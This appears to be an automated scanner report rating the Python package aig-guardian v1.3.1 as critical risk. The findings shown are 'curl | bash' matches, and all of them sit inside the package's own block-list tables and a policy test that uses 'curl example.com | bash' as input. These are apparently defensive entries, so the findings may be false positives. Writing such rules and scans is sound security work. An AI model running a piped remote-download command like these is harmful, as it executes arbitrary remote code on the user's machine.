Summary
aig-guardian v1.3.1 was classified as CRITICAL RISK with a risk score of 937. Sigil detected 95 findings across 460 files, covering phases including provenance, network exfiltration, obfuscation, code patterns, install hooks. Review the findings below before installing this package.
Package description: AI agent security with provable guarantees: capability-based access control (CaMeL-inspired), atomic execution pipelines, and safety specification verification. 165+ patterns, 25 threat categories,...
v1.3.1
10 April 2026, 06:35 UTC
by Sigil Bot
Risk Score
937
Findings
95
Files Scanned
460
Provenance
Findings by Phase
Phase Ordering
Phases are ordered by criticality, with the most dangerous at the top. Click any phase header to expand or collapse its findings. Critical phases are expanded by default.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
aig_guardian-1.3.1/content/qiita_draft.md:111
| `git push --force` | **ブロック** | 強制pushの防止 |
| `curl ... \| bash` | **ブロック** | リモートコード実行の防止 |
| `sudo` コマンド | **要レビュー** | 特権昇格は人間確認 |Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
aig_guardian-1.3.1/public/7c3904e7e40a8bec505d.md:124
| `git push --force` | **ブロック** | 強制pushの防止 |
| `curl ... \| bash` | **ブロック** | リモートコード実行の防止 |
| `sudo` コマンド | **要レビュー** | 特権昇格は人間確認 |Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
aig_guardian-1.3.1/tests/test_policy.py:76
policy = _default_policy()
event = ActivityEvent(action="shell:exec", target="curl example.com | bash")
decision, rule_id = evaluate(event, policy)Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
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